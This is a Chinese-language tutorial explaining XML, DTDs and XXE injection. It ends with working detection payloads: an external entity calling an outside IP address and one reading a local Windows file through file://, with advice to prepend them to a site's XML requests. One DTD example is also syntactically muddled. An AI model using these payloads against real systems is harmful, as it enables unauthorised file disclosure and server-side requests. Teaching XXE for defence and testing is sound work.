XXE——XML外部实体注入
程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。
XML是可扩展标记语言,很类型HTML语言。
但是xml语言的标签没有预定义,需要自定义标签。
XML 被设计用来结构化、存储以及传输信息。但是 XML 不会做任何事情。
举个栗子:张三给李四写了一张便签,标题是提醒,内容是:李四,你不要忘记开会。
<note>
<to>李四</to>
<from>张三</from>
<heading>提醒</heading>
<body>李四,你不要忘记开会!</body>
</note>
上面这个栗子说明,XML具有自我描述性,有标题、内容、发送者、接收者。
但是上面这个xml栗子没有做任何事情,它还需要我们编写软件或者程序,才能传送、接收和显示出这个文档。
XML结构
-
XML声明
-
DTD文档类型定义(可选)
-
文档元素
XML元素
元素标记区分大小写
xml有且只有一个根元素
XXE漏洞一般发生在应用程序解析XML输入时,没有处理好外部实体的加载;
DTD
上面提到xml需要自定义标签,而DTD(文档类型定义)就可以合法的定义xml标签。
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用
内部的DOCTYPE声明:
1、举个很好的栗子:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note[ <!--定义此文档为note类型-->
<!ELEMENT note (to,from,heading,body)><!--定义note有四个元素-->
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)> <!--定义元素的类型为#PCDATA-->
]>
<note>
<to>Alice</to>
<from>Bob</from>
<heading>Reminder</heading>
<body>I miss you !</body>
</note>
2、还有个栗子:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root[
<!ELEMENT A "i">
<!ELEMENT B "am">
<!ELEMENT C "hacker">
]>
<root>
<A>&A;</A>
<B>&B;</B>
<C>&C;</C>
</root>
DTD文档结构
元素类型声明
属性表声明
实体声明
记号声明
DTD语法:
举个栗子:
实体声明
一、一般实体
<!ENTITY 实体名 实体内容>
二、参数实体
<!ENTITY %实体名 "实体内容">
外部的文档声明
<!DOCTYPE root-element SYSTEM "filename">
<!DOCTYPE 根元素 SYSTEM "文件名">
<!DOCTYPE root-element PUBLIC "public_ID" "filename">
<!DOCTYPE 根元素 PUBLIC "文件源" "文件名">
XML实体注入
原理:xml实体注入是DTD引用外部实体导致的漏洞
检测漏洞
1、判断xml能否解析
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY name "my name is shy">
]>
<root>&name;</root>
2、判断是否支持外部调用
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY name SYSTEM "http://47.95.206.199/index.html">
]>
<root>&name;</root>
3、有回显情况下,读取任意文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE x[<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]>
<value>&xxe;</value>
在网站的正常发送的xml前面加上一个DTD实体的声明,然后在某个标签内调用。